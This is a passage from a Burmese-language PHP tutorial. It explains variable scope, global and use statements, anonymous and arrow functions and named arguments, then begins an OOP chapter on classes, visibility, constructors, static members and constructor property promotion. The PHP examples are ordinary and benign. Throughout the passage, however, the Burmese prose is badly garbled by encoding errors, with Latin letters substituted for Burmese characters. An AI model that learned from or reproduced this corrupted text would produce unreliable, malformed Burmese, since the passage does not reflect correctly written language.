one();
echo $name;
// Warning: Undefined variable $name

နမူနာအရ one() Function ရဲ့အတွင်းမှာ deကညာထားတဲ့ $name Variable ဟာ one() Function နဲ့
သာ သက်ဆိုင်တယ် Function Local Variable goစ်ပါတယ်။ ဒါdeကာင့် အgပင်ကdန အ့ဲဒီ Variable ကိုdခါ်
သံုးတဲ့အခါ သံုးလ့ုိမရတာကို dတွ့ ရနိုင်ပါတယ်။ 

 PHP 
<?php
function one() {
   function two() {
      echo "Two";
   }
}

one();
two();   // Two

ဒီနမူနာမှာdတာ့  one() Function ရဲ့ အတွင်းမှာ two() Function ရှိdနပါတယ်။ ဒါdပမယ့် Function
dတဟွာ zယ်နားမှာပဲdရးdရး    Global Scope    ရလ့ုိ   gပင်ပကdန dခါ်သံုးတဲ့အခါ သံုးလ့ုိရdနတာကို dတွ့
gမင်ရမှာပဲ goစ်ပါတယ်။ ဒါဟာ သတိgပုစရာ သdzာသzာဝတစ်ခုပါ။

dနာက်ထပ်သတိgပုစရာကdတာ့  two() Function  ဟာ  one() Function  ထဲမှာdရးထားလ့ုိ  one()
Function  ကိုdခါ်လုိက်မှ  two() Function  အသက်ဝင်သွားမှာပါ။  ဒါdeကာင့်  dပးထားတဲ့နမူနာမှာ
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one() Function  ကို  အရင်dခါ်ပြပီးမှ  two() Function  ကို  dခါ်ထားတာကို  dတွ့ရနိုင်ပါတယ်။
အကယ်၍ one() Function ကို မdခါ်zဲ two() Function ကို dခါ်o့ုိကြကိုးစားရင်dတာ့ Error တက်မှာ
ပါ။ one() Function အလုပ်လုပ်လုိက်မှသာ သ့ူအထဲက two() Function က အသက်ဝင်မှာမ့ုိလ့ုိပါ။

dနာက်ပြပီးdတာ့ ဟိုးအdပါ်မှာ Variable အdeကာင်းdgပာတုံးက dgပာခဲ့ပြပီးသား အdeကာင်းအရာတစ်ခု ရိှပါ
တယ်။  Variable  dတဟွာ deကညာထားတဲ့  Scope  မှာပဲ တိုက်ရိုက်သုံးလ့ုိရပါတယ်။  Global Scope  မှာ
deကညာထားတဲ့  Variable ကို  Function ကdနတိုက်ရိုက်သုံးလ့ုိရမှာ မဟုတ်ပါzူး။  Global Variable ကို
Global Scope မှာပဲ သံုးလို့ရမှာပါ။ ဒီလုိပါ –

 PHP 
<?php
$name = "Alice";

function hello() {
   echo "Hello $name";
}

hello();
// Warning: Undefined variable $name

$name Variable  ဟာ  Global Variable  တစ်ခုgoစ်dပမယ့်  Function  ရဲ့အတွင်းထဲမှာ သံုးoို့ကြကိုးစားတဲ့
အခါ Undefined Variable ဆိုတဲ့ Warning တက်dနတာပါ။ အကယ်၍ Global Variable ကို အသံုးgပုလုိ
ရင် အသံုးgပုလုိdeကာင်း ကြကိုတင်deကညာပြပီးdတာ့မှသာ အသုံးgပုရပါတယ်။ ဒီလုိပါ။

 PHP 
<?php
$name = "Alice";

function hello() {
    global $name;
    echo "Hello $name";
}

hello(); // Hello Alice
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ဒီတစ်ခါdတာ့  Error  dတွ  Warning  dတွမတက်dတာ့ပါzူး။  global Statement  နဲ့  အသံုးgပုမယ့်
အdeကာင်း deကညာပြပီးမှ  အသံုးgပုလုိက်တဲ့အတွက်  အဆင်dgပသွားပါတယ်။ ဒီနည်းနဲ့  Global Variable
dတွကို  အသံုးgပုတဲ့အခါ  ရယူအသံုးgပုယံုတင်  မကပါzူး၊    Global  Variable    ရဲ့  တန်oုိးdတွကိုလည်း  
dgပာင်းလ့ုိရသွားပါတယ်။ ဒီလုိပါ – 

 PHP 
<?php
$name = "Alice";

function hello() {
   global $name;
   $name = "Bob";
}

hello();
echo $name; // Bob 

နမူနာအရ မူလ $name Variable ရဲ့တန်oုိး Alice goစ်dပမယ့် hello() Function က သ့ူတန်oုိးကို Bob
လ့ုိ dgပာင်းလိုက်ပါတယ်။ ဒါdeကာင့် gပန်ထုတ်eကည့်တဲ့အခါ  $name ရဲ့ တန်oုိး  Bob goစ်dနတာကို dတွ့
gမင်ရgခင်းပဲ goစ်ပါတယ်။

PHP မှာ  Variable Function  ဆိုတဲ့ သdzာသzာဝတစ်ခုလည်း ရိှပါdသးတယ်။  Variable    ရဲ့dနာက်မှာ  
ဝုိက်ကွင်းအoွင့်အပိတ် ထည့်dပးလုိက်gခင်းအားgoင့် Function တစ်ခုကဲ့သ့ုိ dခါ်ယူနိုင်တဲ့ သdzာမျ ို းပါ။

 PHP 
<?php
function add($a, $b) {
   echo $a + $b;
}

$name = "add";
$name(1, 2);   // 3
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$name Variable  ထဲမှာ  add ဆိုတဲ့  String  တန်oုိးတစ်ခုရှိdနတဲ့အတွက်  $name() လ့ုိdgပာလုိက်တာ
ဟာ add() လ့ုိdgပာလိုက်တာနဲ့ အတူတူပါပဲ။ ဒါdeကာင့် add() Function အလုပ်လုပ်သွားတာကို dတွ့
ရမှာပဲ goစ်ပါတယ်။ PHP မှာ Function Expression dရးထံုးလည်း ရိှပါdသးတယ်။ Nameless Function
(သ့ုိမဟုတ်) Anonymous Function လ့ုိလည်း dခါ်နိုင်ပါတယ်။

 PHP 
<?php 
$nums = [1, 2, 3, 4];

function two($n) {
   return $n * 2;
}

$result = array_map("two", $nums);
print_r($result);
// Array ( [0] => 2 [1] => 4 [2] => 6 [3] => 8 )

နမူနာမှာ $nums Array ရှိပြပီး dပးလုိက်တဲ့တန်oုိးကို 2 နဲ့ dgမှာက်dပးတဲ့ two() Function လည်းရှိdနပါ
တယ်။ Array dတွ Loop လုပ်oို့အတွက် PHP မှာ လည်း map() Function ရှိပါတယ်။ array_map()
လ့ုိ  dခါ်ပါတယ်။  dရှ့ပုိင်းမှာ  Function  အdeကာင်း  မdgပာရdသးလ့ုိ  ထည့်မdgပာခဲ့တာပါ။
array_map() က Callback Function နဲ့ Array တို့ကို  Parameter အdနနဲ့လက်ခံပါတယ်။ ဒါdeကာင့်
Callback  အgoစ်  two ကိုdပးပြပီး  Array  အgoစ်  $nums ကိုdပးလုိက်တဲ့အခါ အထဲကတန်oုိးdတွကို  2  နဲ့
ကိုယ်စီdgမှာက်dပးထားတဲ့  $result Array  ကို  gပန်ရတာ  dတွ့gမင်ရမှာပဲ  goစ်ပါတယ်။  ဒီကုဒ်ကို
Nameless Function သံုးပြပီး အခုလုိ gပငd်ရးလုိက်လည်း ရနိုင်ပါတယ်။
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 PHP 
<?php
$nums = [1, 2, 3, 4];

$result = array_map(function($n) {
   return $n * 2;
}, $nums);

print_r($result);
// Array ( [0] => 2 [1] => 4 [2] => 6 [3] => 8 )

ရလဒ်က  အတူတူပါပဲ။  ကြကိုdရးထားတဲ့  Function  ကို  Callback  အdနနဲ့  မdပးdတာ့zဲ၊  Function
Expression  ကို  Callback  အdနနဲ့  dပးလုိက်တာပါ။  Function  Expression  ကို  Variable  dတွထဲမှာ
Assign လုပ်ထားလ့ုိလည်း ရနိုင်ပါတယ်။

 PHP 
<?php
$two = function($n) {
   echo $n * 2;
};

$two(2);    // 4

$two Variable  ထဲမှာ  Function  ရှိdနတဲ့အတွက် dစာdစာကdgပာခဲ့တဲ့  Variable Function  dရးထံုးနဲ့
dခါ်ယူအသံုးgပုလုိက်တာပါ။  ဒီလုိ  Function  Expression  dတွdရးတဲ့အခါ  အသံုးgပုdစလုိတဲ့  Variable
dတွကို use Statement နဲ့ ထည့်dပးလုိက်လ့ုိ ရနိုင်ပါတယ်။ ဒီလုိပါ –

 PHP 
<?php
$name = "Alice";
$hello = function() use ($name) {
   echo "Hello $name";
};
$hello(); // Hello Alice
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dစာdစာကပဲ Global Variable dတွကို Function ထဲမှာ သံုးချင်ရင် global Statement နဲ့ ကြကိုdgပာပြပီး
မှ  သံုးလ့ုိရတယ်လ့ုိ  dgပာခဲ့ပါတယ်။  အခုdတာ့    global   Statement    မလုိအပ်dတာ့ပါzူး။    use  
Statement   ကိုသံုးပြပီး တစ်ခါထဲ တွဲထည့်dပးလုိက်လို့ပါ  ။ ဒီနည်းရဲ့ အားသာချက်ကdတာ့ တန်oုိးကို Value
အdနနဲ့သာ  dပးလုိက်တာပါ။  ဒါdeကာင့်  Function  အတွင်းမှာ  တန်oိုးdgပာင်းလိုက်လ့ုိလည်း  မူလပင်မ
Variable မှာ တန်oုိးdgပာင်းမှာ မဟုတ်ပါzူး။ ဒီလုိစမ်းeကည့်လ့ုိရပါတယ်။

 PHP 
<?php
$name = "Alice";

$hello = function() use ($name) {
   $name = "Bob";
   echo "Hello $name";
};

$hello(); // Hello Bob

echo $name; // Alice

Function အတွင်းမှာ $name တန်oုိးကို dgပာင်းလုိက်dပမယ့်၊ မူလ $name တန်oုိးကdတာ့ မdgပာင်းzူး
ဆိုတာကို dတွ့gမင်ရတာပဲ goစ်ပါတယ်။

PHP  မှာ  Arrow Function  dရးထံုးလည်း ရှိပါdသးတယ်။  JavaScript  ရဲ့  Arrow Function  နဲ့  dရးထံုး
နည်းနည်းဆင်ပါတယ်။ တူdတာ့ မတူပါzူး။ ဒီလုိပါ –

 PHP >= 7.4 
$two = fn ($n) => $n * 2;
echo $two(3);    // 6

fn ရဲ့dနာက်မှာ ဝုိက်ကွင်းအoွင့်အပိတ်နဲ့  Parameter List  လုိက်ရပြပီး  သ့ူdနာက်ကdန  => သdက[တနဲ့
အတူ Return gပန်dပးရမယ့် Expression ကို dပးလုိက်ရတာပါ။ JavaScript မှာ fn မလိုပါzူး။ PHP မှာ
ထည့်dပးရပါတယ်။  PHP  မှာ  => သdက[တကို  Array  dတွမှာလည်း သံုးတဲ့အတွက်  Array  နဲ့မdရာdစo့ုိ
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အတွက် dရှ့ ကdန fn ထည့်dပးရတဲ့သdzာ goစ်မယ်လ့ုိ ယူဆပါတယ်။ ပြပီးdတာ့ တွန့်ကွင်းအoွင့်အပိတ်
dတွ ထည့်လို့မရတာကိုလည်း သတိgပုရပါမယ်။ ဒါdeကာင့် Function Statement dတွ dရးလ့ုိdတာ့ ရမှာ
မဟုတ်ပါzူး။ Expression တစ်ခုပဲ dရးလ့ုိရမှာပါ။

Arrow Function  ရဲ့ dနာက်ထပ်ထူးgခားချက်တစ်ခုက  Global Variable  dတွကို  တိုက်ရိုက် အသုံးgပုနိုင်
gခင်း goစ်ပါတယ်။ global dတွ use dတွ မလုိအပ်dတာ့ပါzူး။ ဒီလုိပါ –

 PHP >= 7.4 
<?php
$x = 3;
$add = fn($y) => $x + $y;
echo $add(5);    // 8

Global Variable  goစ်တဲ့  $x တန်oုိးကို  Arrow Function  ရဲ့  Expression  မှာ ထည့်သံုးလို့  ရdနတာကို
dတွ့ရမှာ goစ်ပါတယ်။

Named Arguments
Function dတွdခါ်တဲ့အခါ Arguments အစီအစဉ်ကို dရှ့dနာက် မှန်dအာင် dပးရပါတယ်။ ဒီလိုပါ –

 PHP 
<?php
function profile($name, $email, $age) {
   echo "$name ($age) @ $email";
}

profile("Alice", "alice@gmail.com", 22);
// Alice (22) @ alice@gmail.com
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နမူနာအရ profile() Function ကို dခါ်ချင်ရင်  $name, $email, $age အစီအစဉ် မှန်dအာင်
dပးရပါတယ်။  dရှ့dနာက်လဲွတာနဲ့  ရလဒ်လည်း  လဲွသွားမှာပါ။  ဒါdeကာင့်  တစ်ချ ို ့  Argument  များတဲ့
Function dတွမှာ dရှ့ dနာက်အစီအစဉ်ကို လုိက်မှတ်dနရတာ dတာ်dတာ် အလုပ်ရှုပ်ပါတယ်။

PHP 8 မှာdတာ့ Named Arguments လ့ုိdခါ်တဲ့ dရးထံုးပါဝင်လာလ့ုိ အဆင်dgပသွားပါတယ်။ dရှ့ dနာက်
အစီအစဉ် မမှတ်မိရင်လည်း ကိုယ်dပးချင်တဲ့ Argument အမည်နဲ့တွဲပြပီးdပးလိုက်လ့ုိ ရသွားပါပြပီ။ ဒီလိုပါ – 

 PHP >= 8.0 
function profile($name, $email, $age) {
   echo "$name ($age) @ $email";
}

profile(age: 23, name: "Bob", email: "bob@gmail.com");
// Bob (23) @ bob@gmail.com

Argument အမည်နဲ့ dပးချင်တဲ့ တန်oုိးကို တွဲdပးလုိက်တဲ့အတွက် dရှ့ dနာက်အစီအစဉ် မှန်စရာ မလုိအပ်
dတာ့ပါzူး။  အဆင်dgပသွားပါပြပီ။  dနာက်ဆုံးတစ်ခုအdနနဲ့  dပးတဲ့  Argument  dတွများတဲ့အခါ  နှစ်
deကာင်းသံုးdeကာင်းခွဲdရးလ့ုိရတယ် ဆိုတာdလးကို မှတ်သားdစချင်ပါတယ်။ ဒီလိုပါ –

 PHP >= 7.3 
profile(
   age: 23,
   name: "Bob",
   email: "bob@gmail.com",
);

Argument (၃) ခုကို (၃) deကာင်းခွဲပြပီး dရးလိုက်တာပါ။ ဒီလုိdရးလ့ုိရပါတယ်။ ဒီလုိdရးတဲ့အခါ dနာက်ဆုံး
က Trailing Comma ကို Array dတွမှာ လက်ခံသလုိပဲ Arguments List မှာလည်း လက်ခံတယ်ဆိုတာကို
တစ်ခါထဲ တဲွoက်မှတ်သားရမှာပါ။ ဒါဟာလည်း အသုံးဝင်တဲ့ dရးထံုးတစ်ခုပဲgoစ်ပါတယ်။
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အခန်း (၃၁) – PHP OOP – Object-Oriented Programming

ပြပီးခဲ့တဲ့အခန်းမှာ  PHP  ဟာ  Object-Oriented  Language  တစ်ခု  မဟုတ်zူးလ့ုိ  dgပာခဲ့ပါတယ်။  မှန်ပါ
တယ်။  Language  ကိုယ်တိုင်က  Procedural  Language  တစ်ခုသာ  goစ်dပမယ့်၊  PHP    ကိုအသံုးgပုပြပီး  
Object-Oriented    ကုဒ်dတွ dရးသားo့ုိအတွက် gပည့်စုံတဲ့  dရးထံုးdတွ ပါဝင်ပါတယ်  ။  Object-Oriented
Language ပါဆိုတဲ့ JavaScript ထက်dတာင် dရးထုံးပုိင်းမှာ ပုိမုိ gပည့်စုံပါdသးတယ်။ ဥပမာ - Interface
လုိလုပ်dဆာင်ချက်မျ ို းdတွ၊  Abstract  Class  လုိလုပ်dဆာင်ချက်မျ ို းdတွ  JavaScript  မှာ  အခု  ဒီစာကို
dရးသားdနချနိ်ထိ မပါဝင်dသးပါzူး။ PHP မှာdတာ့ ဒီdရးထံုးdတွထိ အကုန်အgပည့်အစုံ ရှိdနပါတယ်။

OOP  dရးထံုး  gပည့်စုံတဲ့အgပင်၊  dရးသားရလွယ်ကူပြပီး၊  အများစုရင်းနှီးပြပီးသား  dရးဟန်ရှိလ့ုိ  OOP
အdeကာင်း နားလည်လွယ်dအာင် ရှင်းgပလုိတဲ့အခါမှာ PHP ကို အသံုးgပုပြပီး ရှင်းgပeကတာကိုလည်း မeကာ
မeကာ dတွ့dနရပါတယ်။ JavaScript လုိ Language မျ ို းက သ့ူdလာက် dရးထုံး မgပည့်စုံပါzူး။ Java လုိ
Language  မျ ို းက dရးထုံးပုိင်း  တင်းeကပ်လ့ုိ  dရးရခက်ပါတယ်။  Python  လုိ  Language  မျ ို းက တစ်ချ ို ့
dတွအတွက်  အgမင်စိမ်းdနနိုင်ပါတယ်။ ဒီလို  Language  dတွeကားထဲမှာ  PHP  က dရးထံုးလည်းgပည့်စုံ၊
dရးရလည်းလွယ်၊ အများစုရင်းနှီးပြပီးသား dရးဟန်လည်းရှိလ့ုိ dတာd်တာ်အဆင်dgပတဲ့  Language  တစ်ခု
လ့ုိ ဆိုနိုင်ပါတယ်။

PHP  မှာ  Object-Oriented  Language  အများစုနည်းတူ  Class  dတွကို  အသုံးgပုပြပီး  Object  dတွ
တည်dဆာက်နိုင်ပါတယ်။  Language  နဲ့အတူပါဝင်တဲ့  Standard Class  တစ်ချ ို ့ရှိသလုိ ကိုယ်တိုင်လည်း
Class dတွကို dရးသားနိုင်ပါတယ်။ ဒီလုိပါ –
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 PHP 
<?php
class Animal
{
    //
}

ဒါဟာ zာသတ်မှတ်ချက်မှမပါတဲ့ Class အလွတ်တစ်ခုgoစ်ပါတယ်။ ဒီ Class ကို အသံုးgပုပြပီး Object dတွ
တည်dဆာက်မယ်ဆိုရင် တည်dဆာက်လို့ရပါပြပီ။ ဒီလုိပါ – 

$dog = new Animal;

new Statement  ကိုအသံုးgပုပြပီး  Object  တစ်ခု  တည်dဆာက်လိုက်တာပါ။  Object  ရဲ့အမည်က  $dog
goစ်ပြပီး  Animal Class  ကdနgoစ်dပါ်လာတဲ့အတွက်  Animal Object  လ့ုိ ဆိုနိုင်ပါတယ်။ အ့ဲဒီ  Object  မှာ
တန်oုိး  (Property)  dတွ၊  လုပ်dဆာင်ချက်  (Method)  dတွမရှိdသးပါzူး။  အခုလို  dလ့လာeကည့်နိုင်ပါ
တယ်။

var_dump($dog);     // object(Animal)#1 (0) { }

var_dump() နဲ့ စစ်eကည့်လိုက်တဲ့အခါ $dog ဟာ Animal Object တစ်ခုgoစ်တယ်ဆိုတာကို dတွ့gမင်
ရမှာgoစ်ပြပီး zာတန်oုိးမှdတာ့ မရှိdသးတာကိုလည်း dတွ့gမင်ရမှာပါ။ Class အလွတ်ကdန goစ်dပါ်လာတဲ့
Object မ့ုိလ့ုိ Object အလွတ်တစ်ခုသာ goစ်dနမှာပါ။ 

Class  dရးသားစဉ်မှာ  အ့ဲဒီ  Class  ကိုအသံုးgပုတည်dဆာက်တဲ့  Object  dတွမှာ ရိှရမယ့်  Property  dတွ
Method  dတွကို  တစ်ခါထဲ  ထည့်သွင်းသတ်မှတ်dပးနိုင်ပါတယ်။  အ့ဲဒီလုိ  သတ်မှတ်တဲ့အခါ၊  သတ်မှတ်
dပးလုိက်တဲ့  Property dတွ Method dတွကို zယ်dနရာမှာ အသံုးgပုခွင့်ရှိတာလဲဆိုတဲ့  Access Control
dတွ  သတ်မှတ်dပးနိုင်ပါတယ်။  Visibility  လ့ုိလည်း  dခါ်eကပါတယ်။  PHP  မှာ  Public,  Private  နဲ့
Protected လ့ုိdခါ်တဲ့ Access Control သတ်မှတ်ချက် (၃) မျ ို း ရှိပါတယ်။ Public ဆိုတာ ကြကိုက်တဲ့dနရာ
မှာ  အသံုးgပုခွင့်ရှိတယ်ဆိုတဲ့  အဓိပ္ပါယ်goစ်ပြပီး  Private  ဆိုတာကdတာ့  လက်ရှိ  Class  အတွင်းမှာသာ
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အသံုးgပုခွင့်ရှိတယ်ဆိုတဲ့ အဓိပ္ပါယ်ပါ။ Protected ကdတာ့ လက်ရှိ Class နဲ့ လက်ရှိ Class ကို ဆက်ခံgoစ်
dပါ်လာတဲ့  Child  Class  dတွမှာ  အသံုးgပုခွင့်ရှတိယ်ဆိုတဲ့အဓိပ္ပါယ်ပါ။  Property  dတွ  Method  dတွ
သတ်မှတ်တဲ့အခါ ဒီလုိ  Access Control  dတွကို  ထည့်သွင်းသတ်မှတ်dပးရပါတယ်။ အခုလုိ  နမူနာdလး
တစ်ခု စမ်းeကည့်နိုင်ပါတယ်။

 PHP 
<?php
class Animal
{
    public $name;
    public function run()
    {
        echo "$this->name is running...";
    }
}

အခုဆိုရင်  Animal Class  မှာ  $name လ့ုိdခါ်တဲ့  Property  နဲ့  run() လ့ုိdခါ်တဲ့  Method  တစ်ခုပါဝင်
သွားပါပြပီ။  Property  dတွသတ်မှတ်တဲ့အခါ  Variable  အdနနဲ့ပဲ  သတ်မှတ်dပးရပါတယ်။  Method  dတွ
သတ်မှတ်လုိရင်dတာ့  Function  dတွကို  အသံုးgပုရတာပါ။  ထူးgခားချက်အdနနဲ့  $this လ့ုိdခါ်တဲ့
Pseudo Variable  ကို  သတိgပုပါ။  Class  အတွင်းမှာ deကညာထားတဲ့  Property  dတွ  Method  dတွကို
အသံုးgပုလိုရင်  ဒီအတိုင်းချသံုးလုိက်လို့  မရပါzူး။  $this ကdနတစ်ဆင့်  သံုးdပးရပါတယ်။  ဒါdeကာင့်
$this->name ဆိုတာဟာ သ့ူအdပါ်မှာ  deကညာထားတဲ့  $name Property  ကို  အသံုးgပုလုိက်gခင်း
goစ်ပါတယ်။

အခုdန ဒီ  Class  ကိုအသံုးgပုပြပီး  Object  တည်dတာက်လုိက်ရင် တည်dဆာက်လုိက်တဲ့  Object  dတွမှာ
name Property နဲ့ run() Method တို့ပါဝင်သွားမှာပဲ goစ်ပါတယ်။ ဒီလုိပါ –

$dog = new Animal;
$dog->name = "Bobby";
$dog->run();            // Bobby is running…
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နမူနာအရ Animal Class ကိုအသံုးgပုပြပီး  $dog Object ကိုတည်dဆာက်ထားပါတယ်။ ဒါdeကာင့် $dog
Object မှာ name Property နဲ့ run() Method တို့ရှိdနပါပြပီ။ Object ရဲ့ Property dတွ Method dတွကို
ရယူ/အသုံးgပုo့ုိအတွက်  Object Operator  အdနနဲ့  -> သdက[တကိုအသံုးgပုရပါတယ်။  Dart Operator
လ့ုိ  dခါ်eကပါတယ်။  Java, JavaScript,  Python  စသည်goင့်  Object-Oriented Language  အများစုက
Dot  ကို  Object  Operator  အdနနဲ့  အသုံးgပုeကdပမယ့်  PHP  မှာdတာ့  Dart  ကိုအသံုးgပုရgခင်း  goစ်ပါ
တယ်။   နမူနာအရ  name Property  ရဲ့  တန်oုိးကို  Bobby  လ့ုိသတ်မှတ်dပးလုိက်တာပါ။  ပြပီးdတာ့မှ
run() Method  ကို  dခါ်ယူလုိက်တဲ့အခါ  ရလဒ်အdနနဲ့  Bobby is  running…  ကို  dတွ့gမင်ရမှာgoစ်ပါ
တယ်။ ကြကိုတင် dရးသားထားတဲ့အတိုင်း  run() Method က name Property  ရဲ့တန်oုိးကို ထည့်သွင်း
အသံုးgပုသွားတာပါ။

ဒီလုိ  Object  ကdန  Property  dတွ  Method  dတွကို  အသံုးgပုလို့ရတယ်ဆိုတာ  Public  အgoစ် deကညာ
dရးသားထားလ့ုိပါ။  Public Member  dတွကို  အခုလုိအသံုးgပုခွင့်ရှိပါတယ်။  Private  ဆိုရင်dတာ့ အခုလုိ
သံုးလို့ရမှာ မဟုတ်ပါzူး။ ဥပမာ – 

 PHP 
<?php
class Animal
{
    private $name;
}

$dog = new Animal;
$dog->name = "Bobby";

// Error: Cannot access private property

နမူနာမှာ name ဟာ Private Property goစ်သွားပါပြပီ။ ဒါdeကာင့် Object ကdနတစ်ဆင့် name ရဲ့တန်oုိး
ကို dgပာင်းo့ုိကြကိုးစားတဲ့အခါ dgပာင်းခွင့်မရှzိူးဆိုတဲ့ Error ကို ရရှိမှာ goစ်ပါတယ်။

Object  တည်dဆာက်လိုက်တာနဲ့ အလုပ်လုပ်သွားdစချင်တာdတွ ရိှရင်လည်း သတ်မှတ်ထားနိုင်ပါတယ်။
Constructor  လ့ုိdခါ်ပါတယ်။  အရင်က  Class  အမည်နဲ့  Method  အမည်ကို  တူdအာင်dပးလုိက်ရင်
Constructor ရပါတယ်။ ဒီလုိပါ –
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<?php
class Animal
{
    public function Animal()
    {
        echo "Creating Animal object";
    }
}

$dog = new Animal;
// Creating Animal object

Class အမည်က Animal goစ်ပြပီး Method အမည်ကလည်း Animal goစ်dနတဲ့အခါ Constructor goစ်သွား
ပြပီး  Object  တည်dဆာက်တာနဲ့ အလုိအdလျှာက် အလုပ်လုပ်သွားမှာပါ။ ဒါdပမယ့်  PHP 7    ကdနစပြပီး ဒီ  
dရးနည်းကို လက်မခံdတာ့ပါzူး။ ဒါdeကာင့် PHP 5 နဲ့စမ်းeကည့်ရင် ရလဒ်မှန်dပမယ့် PHP 7 တို့  8 တိုနဲ့
ဆိရုင်dတာ့ အလုပ်လုပ်မှာ မဟုတ်ပါzူး။ ရှိခဲ့oူးမှန်းသိdအာင် ထည့်dgပာတာပါ။ တစ်ကယ်dရးနည်းအမှန်
ကdတာ့ __construct() လ့ုိdခါ်တဲ့ Method ကို အသံုးgပုပြပီးdတာ့ Construct ကို တည်dဆာက်ရပါ
တယ်။ ဒါdeကာင့် အခုdရးနည်းအမှန်က ဒီလုိပါ –

 PHP 
<?php
class Animal
{
    public function __construct()
    {
        echo "Creating Animal object";
    }
}

$dog = new Animal;
// Creating Animal object
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ဒီdရးနည်းကdတာ့  PHP 5, 7, 8  အားလံုးမှာ အလုပ်လုပ်တဲ့ dရးနည်းgoစ်ပါတယ်။ Object တည်dဆာက်
လုိက်တာနဲ့  __construct() Method  အလုိအdလျှာက်  အလုပ်လုပ်သွားတာပါ။  dရှ့ဆုံးက
Underscore    နှစ်ခုနဲ့   စdပးရတာကို သတိgပုပါ။  PHP မှာ အ့ဲဒီလုိ  Underscore  နှစ်ခုနဲ့  စdပးရတဲ့  Magic
Method  dတွ  ရိှပါတယ်။  သ့ူdနရာနဲ့သူ  ဆက်လက်doာ်gပdပးပါမယ်။  အခု  dလာdလာဆယ်  မှာdတာ့
Object တည်dဆာက်လုိက်ရင် __construct() Method အလုပ်လုပ်တယ်လ့ုိ မှတ်သားရမှာပါ။

နမူနာမှာ  dနာက်ထပ်သတိgပုစရာကdတာ့  Constructor  ကို  Public  အgoစ်  deကညာထားတာပဲ  goစ်ပါ
တယ်။ Constructor   က   Private   ဆိရုင် zာgoစ်မလဲ။   Object   တည်dဆာက်လ့ုိ ရdတာ့မှာ မဟုတ်ပါzူး  ။
Object တည်dဆာက်ချနိ်မှာ Constructor ကို အလုပ်လုပ်o့ုိ ကြကိုးစားတဲ့အခါ မရနိုင်တဲ့အတွက်ပါ။

 PHP 
<?php
class Animal
{
    private function __construct()
    {
        echo "Creating Animal object...";
    }
}

$dog = new Animal;
// Error: Call to private __construct()

နမူနာအရ Object တည်dဆာက်လို့မရdတာz့ဲ Error တက်သွားတာကို dတွ့ ရမှာပါ။ ဒီdနရာမှာ dgပာoို့လုိ
လာတာက Class Member dခါ်  Static Member  dတွအdeကာင်းပါ။  Object  တည်dဆာက်စရာ မလိုzဲ
Class အမည်ကdန တိုက်ရိုက် အသံုးgပုလို့ရတဲ့ Property dတွ Method dတွ deကညာလ့ုိရနိုင်ပါတယ်။ ဒီ
လုိပါ –
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 PHP 
<?php
class Animal
{
    static $type = "Mammal";
    static function info()
    {
        echo "Group: " . static::$type;
    }
}

echo Animal::$type;     // Mammal
Animal::info();         // Group: Mammal

နမူနာအရ  Static  Property  တစ်ခုနဲ့  Static  Method  တစ်ခရုှိdနတာကို  dတွ့ရမှာပါ။  အ့ဲဒီ  Static
Member  dတွကို အသုံးgပုနိုင်o့ုိအတွက်  Object  မdဆာက်dတာ့zဲ  Class  အမည်goစ်တဲ့  Animal  dပါ်မှာ
တိုက်ရိုက် အသံုးgပုထားတာကိုလည်း dတွ့ရနိုင်ပါတယ်။ ဒီလုိ Static Member dတွကို ရယူoုိ့အတွက် ::
သdက[တကို အသံုးgပုရတာကို သတိgပုပါ။ Scope Resolution Operator လ့ုိdခါ်ပါတယ်။ Double Colon
Operator  လ့ုိလည်း  dခါ်နိုင်ပါတယ်။  dနာက်ပြပီးdတာ့၊  Class    အတွင်းထဲမှာ    Static  Member    dတွကို  
အသံုးgပုoို့အတွက်   $this     ကို မသံုးzဲ   static     ကို ပဲသုံးတယ်   ဆိုတာလည်း သတိgပုပါ။

တစ်ချ ို ့အdgခအdနdတွမှာ  Object  dဆာက်ခွင့်မgပုzဲ  Class Name  dနသာ တိုက်ရိုက်အသံုးgပုdစလ့ုိတဲ့
အတွက် Static Member dတွကို  Private Constructor နဲ့ တွဲသံုးတာမျ ို းdတွ ရှိeကပါတယ်။ dနာက်ထပ်
မeကာမeကာ dတွ့ရမယ့် dရးဟန်နမူနာdလး တစ်ခုကိုလည်း ဆက်လက်doာ်gပပါဦးမယ်။ ဒီလုိပါ –

 PHP 
class Animal
{

    private $name;
    public function __construct($name)
    {
        $this->name = $name;
    }
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    public function run()
    {
        echo "$this->name is running...";
    }
}

ဒီတစ်ခါdတာ့  $name ဆိုတဲ့အမည်နဲ့  Private Property  တစ်ခု ပါသွားပါပြပီ။ ပြပီးdတာ့  Constructor  က
Argument တစ်ခုလက်ခံပြပီး လက်ခရံရှိတဲ့ တန်oုိးကို Property အgoစ် dgပာင်းdပးထားပါတယ်။ ဒါdeကာင့်
Object  တည်dဆာက်တဲ့  Argument  တစ်ခုdပးမှပဲ  တည်dဆာက်လုိ့  ရdတာ့မှာgoစ်ပြပီး  dပးလုိက်တဲ့
Argument ဟာ Property တန်oုိးgoစ်သွားမှာပါ။ ဒီလုိပါ –

$dog = new Animal("Bobby");
$dog->run(); // Bobby is running…

ဒီdရးနည်းဟာ  မeကာမeကာ  dရးeကdလ့ရှိတဲ့  dရးနည်းgoစ်လို့  PHP  8  မှာ  Constructor  Property
Promotion  လ့ုိdခါ်တဲ့  လုပ်dဆာင်ချက်  အသစ်ထည့်သွင်း  dပးလာပါတယ်။  Property  ကို  သပ်သပ်
deကညာစရာ မလုိdတာ့သလုိ၊ Construct Argument ကို Property တန်oုိးgoစ်dအာင် Assign လုပ်dပးတဲ့
ကုဒ်ကိုလည်း ကိုယ်zာသာ dရးစရာ မလုိdတာ့ပါzူး။ ဒီလုိdရးလုိက်ရင် ရသွားပါပြပီ –

 PHP >= 8.0 
<?php
class Animal
{
    public function __construct(private $name)
    {
        //
    }

    public function run()
    {
        echo "$this->name is running...";
    }
}

$dog = new Animal("Rambo");
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$dog->run();                // Rambo is running…
dစာdစာကကုဒ်နဲ့  တူညီတဲ့ရလဒ်ကိုပဲ  ရပါတယ်။  Constructor  ရဲ့  Argument  မှာ  Access  Control
Modifier  ထည့်dရးdပးလုိက်ယံုနဲ့  Property  deကညာတဲ့အဆင့်နဲ့  တန်oုိး  Assign  လုပ်တဲ့အဆင့်၊  dရးရ
တာ နှစ်ဆင့် dလျာ့သွားတာပါ။

Class  တစ်ခုကိုdရးသားတဲ့အခါ  အgခား  Class  dပါ်မှာ  အdgခခံပြပီးdတာ့လည်း  dရးလ့ုိရပါတယ်။
Inheritance လ့ုိdခါ်ပါတယ်။ အdမွဆက်ခံတယ်dပါ့။ ဒီလုိ အdမွဆက်ခံပြပီး Inherit လုပ်လုိက်တဲ့အခါ မူလ
